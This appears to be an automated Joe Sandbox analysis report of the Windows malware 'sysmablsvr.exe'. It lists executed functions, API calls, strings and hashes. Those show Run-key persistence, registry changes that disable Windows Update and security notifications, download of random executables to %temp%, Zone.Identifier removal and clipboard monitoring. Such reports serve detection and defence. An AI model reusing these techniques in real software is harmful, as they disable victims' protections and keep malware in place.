Signature Coverage:	0%
Total number of Nodes:	1486
Total number of Limit Nodes:	39

Executed Functions

Function 00402020 Relevance: 16.6, APIs: 11, Instructions: 131
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?,?), ref: 00402043
InitializeCriticalSection.KERNEL32(00000020), ref: 00402057
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 00402065
CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000000,00000000), ref: 0040207E

Part of subcall function 0040D6C0: InitializeCriticalSection.KERNEL32(-00000004), ref: 0040D6DE

WSASocketA.WS2_32(00000002,00000001,00000006,00000000,00000000,00000001), ref: 004020AB
setsockopt.WS2_32 ref: 004020D1
htons.WS2_32(?), ref: 00402101
bind.WS2_32(?,0000FFFF,00000010), ref: 00402117
listen.WS2_32(?,7FFFFFFF), ref: 0040212F
WSACreateEvent.WS2_32 ref: 0040213A
WSAEventSelect.WS2_32(?,00000000,00000008), ref: 0040214E

Part of subcall function 0040D6F0: EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040D714
Part of subcall function 0040D6F0: CreateThread.KERNEL32(00000000,?,00000000,?,00000000,?), ref: 0040D76F
Part of subcall function 0040D6F0: GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040D7AC
Part of subcall function 0040D6F0: GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040D7B7
Part of subcall function 0040D6F0: DuplicateHandle.KERNEL32(00000000), ref: 0040D7BE
Part of subcall function 0040D6F0: LeaveCriticalSection.KERNEL32(-00000004), ref: 0040D7D2

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: CreateCriticalSection$Event$CurrentInitializeProcess$CompletionDuplicateEnterHandleInfoLeavePortSelectSocketSystemThreadbindhtonslistensetsockopt
String ID:
API String ID: 1603358586-0
Opcode ID: 72ab33da5a46cba579dbb6cb68541ccf7241d57183c7f57f2b237d70ef746978
Instruction ID: 5f4ab44496f95361e3b7ac477a06260d9546e6561ad256066a099106afd7ac33
Opcode Fuzzy Hash: 72ab33da5a46cba579dbb6cb68541ccf7241d57183c7f57f2b237d70ef746978
Instruction Fuzzy Hash: 2B41C070640701BBD3209F649D0AF4B77E4AF44720F108A2DF6A9EA2D4E7F4E445875A

Function 0040DCA0 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 117
networkstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

socket.WS2_32(00000002,00000002,00000011), ref: 0040DCBA
htons.WS2_32(0000076C), ref: 0040DCF0
inet_addr.WS2_32(239.255.255.250), ref: 0040DCFF
setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040DD1D

Part of subcall function 0040B010: htons.WS2_32(00000050), ref: 0040B03D
Part of subcall function 0040B010: socket.WS2_32(00000002,00000001,00000000), ref: 0040B05D
Part of subcall function 0040B010: connect.WS2_32(000000FF,?,00000010), ref: 0040B076
Part of subcall function 0040B010: getsockname.WS2_32(000000FF,?,00000010), ref: 0040B0A8

bind.WS2_32(000000FF,?,00000010), ref: 0040DD53
lstrlenA.KERNEL32(00411D70,00000000,?,00000010), ref: 0040DD6C
sendto.WS2_32(000000FF,00411D70,00000000), ref: 0040DD7B
ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040DD95

Part of subcall function 0040DE20: recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040DE6E
Part of subcall function 0040DE20: Sleep.KERNEL32(000003E8), ref: 0040DE7E
Part of subcall function 0040DE20: StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040DE9B
Part of subcall function 0040DE20: StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040DEB1
Part of subcall function 0040DE20: StrChrA.SHLWAPI(?,0000000D), ref: 0040DEDE

Strings

239.255.255.250, xrefs: 0040DCFA

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: htonssocket$Sleepbindconnectgetsocknameinet_addrioctlsocketlstrlenrecvfromsendtosetsockopt
String ID: 239.255.255.250
API String ID: 726339449-2186272203
Opcode ID: 67bb0c7a586e0ff2326b65c0e0cd249105ca887c7b19898e2fcb7942032de1f3
Instruction ID: 4840ad5dfb28dde6295409afe741e8bd11bfa900d245e54f0039e4319b19f377
Opcode Fuzzy Hash: 67bb0c7a586e0ff2326b65c0e0cd249105ca887c7b19898e2fcb7942032de1f3
Instruction Fuzzy Hash: 7C41D8B4E00208ABDB14DFE4E889BEEBBB5EF48304F108569F505B7390E7B55A44CB59

Function 00401470 Relevance: 9.1, APIs: 6, Instructions: 89networkthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 004014B2
socket.WS2_32(00000002,00000002,00000011), ref: 004014C1
htons.WS2_32(?), ref: 00401508
setsockopt.WS2_32(?,0000FFFF), ref: 0040152A
bind.WS2_32(?,?,00000010), ref: 0040153B

Part of subcall function 00401330: SetEvent.KERNEL32(6856006A,00000000,?,0040143A,00000000,?,?,?,0040DAED,00000000), ref: 00401346
Part of subcall function 00401330: WaitForSingleObject.KERNEL32(00401100,000000FF,?,0040143A,00000000,?,?,?,0040DAED,00000000), ref: 00401352
Part of subcall function 00401330: CloseHandle.KERNEL32(00401100,?,0040143A,00000000,?,?,?,0040DAED,00000000), ref: 0040135C

CreateThread.KERNEL32(00000000,00000000,00401100,00000000,00000000,00000000), ref: 00401569

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindhtonssetsockoptsocket
String ID:
API String ID: 4174406920-0
Opcode ID: 085a1a8f7e688ed9381a465e3f998c9afd0c9800f7049c23b91f22d3bd70f74c
Instruction ID: ab17557c7f530dee2ff78f8644a874c55f5dae77ec0fdd8d5eef9b2878869d10
Opcode Fuzzy Hash: 085a1a8f7e688ed9381a465e3f998c9afd0c9800f7049c23b91f22d3bd70f74c
Instruction Fuzzy Hash: 6031C871A44301AFE320DF649C46F9BB6E0AF48B14F40493DF695EB2E0D3B5D544879A

Function 0040D280 Relevance: 9.1, APIs: 6, Instructions: 67sleepnetworkCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040D292
ioctlsocket.WS2_32(00000004,4004667F,00000000), ref: 0040D2B8
recv.WS2_32(00000004,00002710,000000FF,00000000), ref: 0040D2EF
GetTickCount.KERNEL32 ref: 0040D304
Sleep.KERNEL32(00000001), ref: 0040D324
GetTickCount.KERNEL32 ref: 0040D32A

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: CountTick$Sleepioctlsocketrecv
String ID:
API String ID: 107502007-0
Opcode ID: 077c42ecd2642622499ea3213999ab9bc2a668583e8a55166bb8840c59880b72
Instruction ID: 4b62ca25e6cdc7f9b2e1b521222d8c0dfc3b1f9d22396e6cb4543525420831ef
Opcode Fuzzy Hash: 077c42ecd2642622499ea3213999ab9bc2a668583e8a55166bb8840c59880b72
Instruction Fuzzy Hash: 1F31E874D00209EFCB14DFA8D948AEEB7B0FF44315F108669E825A7290D7749A94CB59

Function 0040B010 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(00000050), ref: 0040B03D

Part of subcall function 0040AFD0: inet_addr.WS2_32(0040B051), ref: 0040AFDA
Part of subcall function 0040AFD0: gethostbyname.WS2_32(?), ref: 0040AFED

socket.WS2_32(00000002,00000001,00000000), ref: 0040B05D
connect.WS2_32(000000FF,?,00000010), ref: 0040B076
getsockname.WS2_32(000000FF,?,00000010), ref: 0040B0A8

Strings

www.update.microsoft.com, xrefs: 0040B047

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: connectgethostbynamegetsocknamehtonsinet_addrsocket
String ID: www.update.microsoft.com
API String ID: 4063137541-1705189816
Opcode ID: 1adbfc87e4e946ee119d9e5b2ddfdf65343185abbb22bc100f48905234863ed2
Instruction ID: 0ae4650424ba83aa22eef998e17282091954cac8fd9820034268e2ac291e36ad
Opcode Fuzzy Hash: 1adbfc87e4e946ee119d9e5b2ddfdf65343185abbb22bc100f48905234863ed2
Instruction Fuzzy Hash: 4A212CB4D102099BDB04DFE4D946BEFBBB4AF08310F104169E515B7390E7745A44CBAA

Function 004013B0 Relevance: 6.1, APIs: 4, Instructions: 63networkthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,0040DAED,00000000), ref: 004013D5
socket.WS2_32(00000002,00000002,00000011), ref: 004013E4
bind.WS2_32(?,?,00000010), ref: 00401429

Part of subcall function 00401330: SetEvent.KERNEL32(6856006A,00000000,?,0040143A,00000000,?,?,?,0040DAED,00000000), ref: 00401346
Part of subcall function 00401330: WaitForSingleObject.KERNEL32(00401100,000000FF,?,0040143A,00000000,?,?,?,0040DAED,00000000), ref: 00401352
Part of subcall function 00401330: CloseHandle.KERNEL32(00401100,?,0040143A,00000000,?,?,?,0040DAED,00000000), ref: 0040135C

CreateThread.KERNEL32(00000000,00000000,00401100,00000000,00000000,00000000), ref: 00401459

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindsocket
String ID:
API String ID: 3943618503-0
Opcode ID: 7920f1fa20b97f550be2e13ac393b81d85ae9c1e65d5af07afafdd8883ae4a63
Instruction ID: d62f3833751a539e27b625c66b0fe154f308ce322b9d6d34e226f7a30690eb36
Opcode Fuzzy Hash: 7920f1fa20b97f550be2e13ac393b81d85ae9c1e65d5af07afafdd8883ae4a63
Instruction Fuzzy Hash: 5C118974A40710AFE360DF749C0AF877AE0AF04B54F50892DF599E72E1E3F49544879A

Function 0040C410 Relevance: 4.5, APIs: 3, Instructions: 26encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(00407FCF,00000000,00000000,00000001,F0000040,?,?,0040C469,00407FCF,00000004,?,?,0040C49E,000000FF), ref: 0040C423
CryptGenRandom.ADVAPI32(00407FCF,?,00000000,?,?,0040C469,00407FCF,00000004,?,?,0040C49E,000000FF), ref: 0040C439
CryptReleaseContext.ADVAPI32(00407FCF,00000000,?,?,0040C469,00407FCF,00000004,?,?,0040C49E,000000FF), ref: 0040C445

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: Crypt$Context$AcquireRandomRelease
String ID:
API String ID: 1815803762-0
Opcode ID: 115afb25b1a51c25259045811286537a4a8d93f4d7ebd8fa37951325938a193c
Instruction ID: 6943664ffc8d3a105bd4ceed40135057dfa4a41f6174007770034458561b6d1a
Opcode Fuzzy Hash: 115afb25b1a51c25259045811286537a4a8d93f4d7ebd8fa37951325938a193c
Instruction Fuzzy Hash: 0BE01275650208BBDB24CFD5EC49FDA776CEB48700F104154F70997190DAB5EA4097A9

Function 00407500 Relevance: 293.0, APIs: 108, Strings: 59, Instructions: 784
sleepfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000007D0), ref: 0040750E
CreateMutexA.KERNEL32(00000000,00000000,55a4er5wo), ref: 0040751D
GetLastError.KERNEL32 ref: 00407529
ExitProcess.KERNEL32 ref: 00407538
GetModuleFileNameW.KERNEL32(00000000,C:\Windows\sysmablsvr.exe,00000105), ref: 00407572
PathFindFileNameW.SHLWAPI(C:\Windows\sysmablsvr.exe), ref: 0040757D
wsprintfW.USER32 ref: 0040759A
DeleteFileW.KERNEL32(?), ref: 004075AA
ExpandEnvironmentStringsW.KERNEL32(%userprofile%,?,00000104), ref: 004075C1
wcscmp.NTDLL ref: 004075D3
ExitProcess.KERNEL32 ref: 004075F2

Strings

SYSTEM\CurrentControlSet\Services\WaaSMedicSvc, xrefs: 00407910
%s:Zone.Identifier, xrefs: 0040758E
C:\Windows\sysmablsvr.exe, xrefs: 0040756B, 00407578, 00407589, 00407639, 00407713, 00407804
SOFTWARE\Policies\Microsoft\Windows, xrefs: 00407A4D
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate, xrefs: 00407B9C
C:\Users\user\tbtcmds.dat, xrefs: 00407F3A
AntiVirusOverride, xrefs: 00407E6B
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate, xrefs: 00407AA4
NoAutoUpdate, xrefs: 00407C14
Start, xrefs: 004078E3
FirewallOverride, xrefs: 00407E0E
AntiSpywareOverride, xrefs: 00407E4C
UpdatesOverride, xrefs: 00407EA9
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00407834
FirewallOverride, xrefs: 00407D02
55a4er5wo, xrefs: 00407514
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00407743
Start, xrefs: 0040797F
WindowsUpdate, xrefs: 00407B6F
SYSTEM\CurrentControlSet\Services\wuauserv, xrefs: 004079AC
Start, xrefs: 00407C62
SYSTEM\CurrentControlSet\Services\DoSvc, xrefs: 0040795E
Start, xrefs: 004079CD
UpdatesDisableNotify, xrefs: 00407DBC
DisableWindowsUpdateAccess, xrefs: 00407A1B
%s\%s, xrefs: 0040761B
SOFTWARE\Policies\Microsoft\Windows, xrefs: 00407B45
UpdatesOverride, xrefs: 00407D9D
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU, xrefs: 00407AF2
AntiVirusDisableNotify, xrefs: 00407D7E
AntiSpywareOverride, xrefs: 00407D40
%s\%s, xrefs: 004077E6
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL, xrefs: 00407C8F
SOFTWARE\Microsoft\Security Center, xrefs: 00407CDD
UpdatesDisableNotify, xrefs: 00407EC8
%s\tbtnds.dat, xrefs: 00407F1B
%s\tbtcmds.dat, xrefs: 00407F35
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate, xrefs: 004079FA
%userprofile%, xrefs: 004075BC
%temp%, xrefs: 004077CF
SOFTWARE\Microsoft\Security Center\Svc, xrefs: 00407DE9
%s\%s, xrefs: 004076F5
NoAutoUpdate, xrefs: 00407B13
AntiVirusOverride, xrefs: 00407D5F
CheckedValue, xrefs: 00407CB0
FirewallDisableNotify, xrefs: 00407E2D
WindowsUpdate, xrefs: 00407A77
Windows Settings, xrefs: 0040769C, 00407776, 00407867
DisableWindowsUpdateAccess, xrefs: 00407AC5
FirewallDisableNotify, xrefs: 00407D21
%windir%, xrefs: 00407604
SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU, xrefs: 00407BF3
sysmablsvr.exe, xrefs: 004075C7, 0040760F, 004076E9, 004077DA
SYSTEM\CurrentControlSet\Services\UsoSvc, xrefs: 004078C2
C:\Users\user\tbtnds.dat, xrefs: 00407F20
AntiVirusDisableNotify, xrefs: 00407E8A
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 00407669
SYSTEM\CurrentControlSet\Services\BITS, xrefs: 00407C41
Start, xrefs: 00407931

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: File$ExitNameProcess$CreateDeleteEnvironmentErrorExpandFindLastModuleMutexPathSleepStringswcscmpwsprintf
String ID: %s:Zone.Identifier$%s\%s$%s\%s$%s\%s$%s\tbtcmds.dat$%s\tbtnds.dat$%temp%$%userprofile%$%windir%$55a4er5wo$AntiSpywareOverride$AntiSpywareOverride$AntiVirusDisableNotify$AntiVirusDisableNotify$AntiVirusOverride$AntiVirusOverride$C:\Users\user\tbtcmds.dat$C:\Users\user\tbtnds.dat$C:\Windows\sysmablsvr.exe$CheckedValue$DisableWindowsUpdateAccess$DisableWindowsUpdateAccess$FirewallDisableNotify$FirewallDisableNotify$FirewallOverride$FirewallOverride$NoAutoUpdate$NoAutoUpdate$SOFTWARE\Microsoft\Security Center$SOFTWARE\Microsoft\Security Center\Svc$SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL$SOFTWARE\Policies\Microsoft\Windows$SOFTWARE\Policies\Microsoft\Windows$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU$SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU$SYSTEM\CurrentControlSet\Services\BITS$SYSTEM\CurrentControlSet\Services\DoSvc$SYSTEM\CurrentControlSet\Services\UsoSvc$SYSTEM\CurrentControlSet\Services\WaaSMedicSvc$SYSTEM\CurrentControlSet\Services\wuauserv$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Start$Start$Start$Start$Start$UpdatesDisableNotify$UpdatesDisableNotify$UpdatesOverride$UpdatesOverride$Windows Settings$WindowsUpdate$WindowsUpdate$sysmablsvr.exe
API String ID: 4172876685-1943688019
Opcode ID: e8792de07db31feacb4225683fdc67bc03523796b4c41c4f0dd09e2c170d2514
Instruction ID: a49710c48774a039d08af1d560b2319e957ec07716638a9d0d735a0d257e6f0f
Opcode Fuzzy Hash: e8792de07db31feacb4225683fdc67bc03523796b4c41c4f0dd09e2c170d2514
Instruction Fuzzy Hash: 9B5268B1B80318BBE7209B60DC4AFD93779AB48B11F1085A5F305B91D0DAF5A984CB5D

Function 0040F070 Relevance: 75.5, APIs: 37, Strings: 6, Instructions: 235
filesleepnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 0040F079
srand.MSVCRT ref: 0040F080
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 0040F0A0
strlen.NTDLL ref: 0040F0AA
mbstowcs.NTDLL ref: 0040F0C1
rand.MSVCRT ref: 0040F0C9
rand.MSVCRT ref: 0040F0DD
wsprintfW.USER32 ref: 0040F104
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36,00000000,00000000,00000000,00000000), ref: 0040F11A
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040F149
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040F178
InternetReadFile.WININET(00000000,?,00000103,?), ref: 0040F1AB
WriteFile.KERNEL32(000000FF,?,00000000,?,00000000), ref: 0040F1DC
CloseHandle.KERNEL32(000000FF), ref: 0040F1EB
wsprintfW.USER32 ref: 0040F204
DeleteFileW.KERNEL32(?), ref: 0040F214
Sleep.KERNEL32(000003E8), ref: 0040F21F
Sleep.KERNEL32(000007D0), ref: 0040F240
ExitProcess.KERNEL32 ref: 0040F268
DeleteFileW.KERNEL32(?), ref: 0040F27E
CloseHandle.KERNEL32(000000FF), ref: 0040F28B
InternetCloseHandle.WININET(00000000), ref: 0040F298
InternetCloseHandle.WININET(00000000), ref: 0040F2A5
Sleep.KERNEL32(000003E8), ref: 0040F2B0
rand.MSVCRT ref: 0040F2C5
Sleep.KERNEL32 ref: 0040F2DC
rand.MSVCRT ref: 0040F2E2
rand.MSVCRT ref: 0040F2F6
wsprintfW.USER32 ref: 0040F31D
DeleteUrlCacheEntryW.WININET(?), ref: 0040F32D
URLDownloadToFileW.URLMON(00000000,?,?,00000000,00000000), ref: 0040F347
wsprintfW.USER32 ref: 0040F367
DeleteFileW.KERNEL32(?), ref: 0040F377
Sleep.KERNEL32(000003E8), ref: 0040F382
Sleep.KERNEL32(000007D0), ref: 0040F3A3
ExitProcess.KERNEL32 ref: 0040F3CA
DeleteFileW.KERNEL32(?), ref: 0040F3D9

Strings

%s\%d%d.exe, xrefs: 0040F0F8
%s:Zone.Identifier, xrefs: 0040F1F8
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36, xrefs: 0040F115
%temp%, xrefs: 0040F09B
%s\%d%d.exe, xrefs: 0040F311
%s:Zone.Identifier, xrefs: 0040F35B

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: File$Sleep$DeleteInternetrand$CloseHandlewsprintf$ExitOpenProcess$CacheCountCreateDownloadEntryEnvironmentExpandReadStringsTickWritembstowcssrandstrlen
String ID: %s:Zone.Identifier$%s:Zone.Identifier$%s\%d%d.exe$%s\%d%d.exe$%temp%$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
API String ID: 3526668077-2417596247
Opcode ID: bcfd523ca2bd59dabc98687d20756347b5c017932b083f233573b856c8686c0d
Instruction ID: d1b69f2f4fd2238e53d437ba447cd35dd01203c47a8128eb559f47a2066d0ae0
Opcode Fuzzy Hash: bcfd523ca2bd59dabc98687d20756347b5c017932b083f233573b856c8686c0d
Instruction Fuzzy Hash: 7691CBB5940318ABE720DB60DC49FE93779AB88701F0484F9F609A51D1DBB99AD4CF28

Function 0040B430 Relevance: 34.7, APIs: 13, Strings: 10, Instructions: 198
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040B360: gethostname.WS2_32(?,00000100), ref: 0040B37C
Part of subcall function 0040B360: gethostbyname.WS2_32(?), ref: 0040B38E

strcmp.NTDLL ref: 0040B460

Strings

0.0.0.0, xrefs: 0040B44E
.127, xrefs: 0040B48F
10., xrefs: 0040B52F
192., xrefs: 0040B4D0
.10, xrefs: 0040B54D
.192., xrefs: 0040B50C
.127., xrefs: 0040B4AD
.10., xrefs: 0040B56B
.192, xrefs: 0040B4EE
127., xrefs: 0040B471

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: gethostbynamegethostnamestrcmp
String ID: .10$.10.$.127$.127.$.192$.192.$0.0.0.0$10.$127.$192.
API String ID: 2906596889-2213908610
Opcode ID: d27b1e01b54477f86afe98856adb7ca23eb5c9f208e924790736f7c59111b262
Instruction ID: bd96892130d723efa302dbc8dbf9c53b9c7bf10ac090126f1a0951e43edd4a65
Opcode Fuzzy Hash: d27b1e01b54477f86afe98856adb7ca23eb5c9f208e924790736f7c59111b262
Instruction Fuzzy Hash: 0C6181B5A04205A7CB10AF61EC46AAB7774AB10308F14847AF805B73C2E73DE655C6DF

Function 00405910 Relevance: 25.7, APIs: 17, Instructions: 186
clipboardregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040591C
SetClipboardViewer.USER32(?), ref: 00405968
SetWindowLongW.USER32(?,000000EB,?), ref: 0040597B
IsClipboardFormatAvailable.USER32(0000000D), ref: 004059D0
OpenClipboard.USER32(00000000), ref: 00405A17
GetClipboardData.USER32(00000000), ref: 00405A29
RegisterRawInputDevices.USER32(?,00000001,0000000C), ref: 00405B30
ChangeClipboardChain.USER32(?,?), ref: 00405B3E
DefWindowProcA.USER32(?,?,?,?), ref: 00405B54

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

